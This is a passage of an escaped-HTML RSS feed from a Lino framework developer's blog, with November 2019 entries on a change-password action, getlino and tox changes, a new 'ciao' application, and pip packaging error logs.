  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;autoHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;draggable&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;maximizable&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;maximized&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;modal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;width&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chars2width&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hide_top_toolbar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;is_main_window&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_password_ActionFormPanel&lt;/span&gt;&lt;span class="p"&gt;({});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;My first guess is that &lt;cite&gt;ls_url&lt;/cite&gt; is a design flaw.  An action definition must now
know its actor since we want it to be usable on other actions.&lt;/p&gt;
&lt;p&gt;Why is it needed at all?  Can we change the code in &lt;a class="reference external" href="https://dev.lino-framework.org/ref/javascript.html#xfile-linoweb.js" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;linoweb.js&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to not
use it?  But be careful, here dragons!&lt;/p&gt;
&lt;p&gt;Maybe it’s easier to leave things as they were? The Users actor is viewable by
everybody but never used directly.&lt;/p&gt;
&lt;p&gt;I tried having Users.abstract = True but that doesn’t work.&lt;/p&gt;
&lt;p&gt;Note that when it works, it still doesn’t work elegantly: when a user changes
their own password, they get signed out as a side effect. They must run sign_in
again with their new password.  The ChangePassword action should update the
stored password in the session.&lt;/p&gt;
&lt;section id="changes-in-getlino"&gt;
&lt;h2&gt;Changes in getlino&lt;a class="headerlink" href="#changes-in-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When running as root, getlino configure now writes a file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/getlino/lino_bash_aliases&lt;/span&gt;&lt;/code&gt;.
We optimized the test workflow. Only two Docker images.
I pushed my changes to master so that Hamza can continue.
Not sure whether the effect of &lt;cite&gt;a&lt;/cite&gt; will stay between calls to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;run_docker_command()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1120.html</guid><pubDate>Wed, 20 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, November 19, 2019</title><link>https://luc.lino-framework.org/blog/2019/1119.html</link><description>&lt;section id="tuesday-november-19-2019"&gt;
&lt;h1&gt;Tuesday, November 19, 2019&lt;a class="headerlink" href="#tuesday-november-19-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="documentation-about-help-texts"&gt;
&lt;h2&gt;Documentation about help texts&lt;a class="headerlink" href="#documentation-about-help-texts" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I answered to a question posted by Amber on the lino-developers mailing list.&lt;/p&gt;
&lt;p&gt;He wrote:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;‘Sign in’, is self explanatory. Now it is showing the message to the User
(external, to the customer ), “Open a window which asks for username and
password and which authenticates as this user when submitted”. I guess, this
message is for internal use and for (Developer/Technical) and not for an
external user. When the mouse pointer at the ‘Sign in’, it could be found,
most of the sites/products do not have any message, at all.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;This is indeed the help text of the SignIn action. I agree that this is not the
optimal help text.  It is currently rendered in the Lino Book, in the specs page
for the users plugin: &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.SignIn" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.SignIn&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The source code for this is in the book repository, in the file
docs/specs/users.rst file which you should have on your computer.&lt;/p&gt;
&lt;p&gt;I invite you to change that file on your computer and to submit a pull request!&lt;/p&gt;
&lt;p&gt;But note that you won’t see your change immediately in a runserver because you
need to build the book for that. I assume that you now want to learn more about
help texts. So I started to review the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/help_texts.html#help-texts" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Help texts&lt;/span&gt;&lt;/a&gt; page because as usual,
documentation grows upon request. Thanks for requesting!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="lino-ciao"&gt;
&lt;h2&gt;Lino Ciao&lt;a class="headerlink" href="#lino-ciao" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I published a new Lino application: &lt;cite&gt;ciao&lt;/cite&gt; (no longer published since 20210412).&lt;/p&gt;
&lt;p&gt;I changed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3343"&gt;#3343&lt;/a&gt; for this from “Lino Canti” to “Lino Ciao”. I changed
the project’s basic target from “groups of singers” (which would be a quite
narrow audience) to simply “A free alternative to meetup.com” (which probably
has a more widely used functionality).&lt;/p&gt;
&lt;p&gt;My plan is to have Amber work on this. Because he seems good in exploring and
evaluating a Lino application from the outside.  The big job for amber is to
help us with turning &lt;cite&gt;ciao&lt;/cite&gt; into an application that works intuitively and
out of the box even for low-motivated occasional users.&lt;/p&gt;
&lt;p&gt;I had some fun with getting the test suite run. Because it is the first project
after atelier that I am converting to have a &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox.ini&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Note that &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; doesn’t yet know about it. Here is how to get the new
repo:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd path/to/repositories
$ get clone git@github.com:lino-framework/ciao.git
$ pip install -e ciao
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And then  add it to your &lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#xfile-.atelier-config.py" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;~/.atelier/config.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file (immediately after
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;amici&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="cannot-install-pypi-version-of-react"&gt;
&lt;h2&gt;Cannot install PyPI version of &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#cannot-install-pypi-version-of-react" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had this problem when trying to test &lt;cite&gt;ciao&lt;/cite&gt; using tox:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install lino-react
Collecting lino-react
  Using cached https://files.pythonhosted.org/packages/6f/bb/e5b2e69be391a060532a5e53481d234add5871a62de0d0e7e1ceac930ee5/lino_react-19.11.1.tar.gz
    ERROR: Command errored out with exit status 1:
     command: /home/luc/tmp/t/bin/python3 -c &amp;#39;import sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;/tmp/pip-install-112e6_9b/lino-react/setup.py&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;; __file__=&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;/tmp/pip-install-112e6_9b/lino-react/setup.py&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;;f=getattr(tokenize, &amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;open&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;, open)(__file__);code=f.read().replace(&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;\r\n&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;, &amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;\n&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;);f.close();exec(compile(code, __file__, &amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;exec&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;))&amp;#39; egg_info --egg-base /tmp/pip-install-112e6_9b/lino-react/pip-egg-info
         cwd: /tmp/pip-install-112e6_9b/lino-react/
    Complete output (8 lines):
    running egg_info
    creating /tmp/pip-install-112e6_9b/lino-react/pip-egg-info/lino_react.egg-info
    writing /tmp/pip-install-112e6_9b/lino-react/pip-egg-info/lino_react.egg-info/PKG-INFO
    writing dependency_links to /tmp/pip-install-112e6_9b/lino-react/pip-egg-info/lino_react.egg-info/dependency_links.txt
    writing requirements to /tmp/pip-install-112e6_9b/lino-react/pip-egg-info/lino_react.egg-info/requires.txt
    writing top-level names to /tmp/pip-install-112e6_9b/lino-react/pip-egg-info/lino_react.egg-info/top_level.txt
    writing manifest file &amp;#39;/tmp/pip-install-112e6_9b/lino-react/pip-egg-info/lino_react.egg-info/SOURCES.txt&amp;#39;
    error: package directory &amp;#39;lino_react/projects&amp;#39; does not exist
    ----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Fixed it by reviewing the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-MANIFEST.in" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;MANIFEST.in&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt; and doing a new
PyPI release.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="tox-fails-in-ciao"&gt;
&lt;h2&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox&lt;/span&gt;&lt;/code&gt; fails in ciao&lt;a class="headerlink" href="#tox-fails-in-ciao" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="n"&gt;wheels&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;collected&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;
  &lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;started&lt;/span&gt;
  &lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;finished&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;done&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;Created&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;lino_ciao&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;19.11.0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cp37&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;none&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;any&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;whl&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1536129&lt;/span&gt; &lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;c1a50f78c2d2aa94b3dea3c73de69c578d15bf5c5a81091db21bf4937a313039&lt;/span&gt;
  &lt;span class="n"&gt;Stored&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;wheels&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ed6a2fab75dc4e6e55454b3f9b6b125d7ea6a0ebf03ce9b848&lt;/span&gt;
  &lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;started&lt;/span&gt;
  &lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;finished&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;error&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt; &lt;span class="n"&gt;errored&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
   &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;import sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-xgyu9lk6/persistent/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;; __file__=&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-xgyu9lk6/persistent/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;f=getattr(tokenize, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;open&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, open)(__file__);code=f.read().replace(&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;);f.close();exec(compile(code, __file__, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;exec&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;))&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;bdist_wheel&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wheel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;nj_mxmxl&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt; &lt;span class="n"&gt;cp37&lt;/span&gt;
       &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xgyu9lk6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
  &lt;span class="n"&gt;Complete&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;67&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;bdist_wheel&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build_py&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;interfaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_ring_build&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
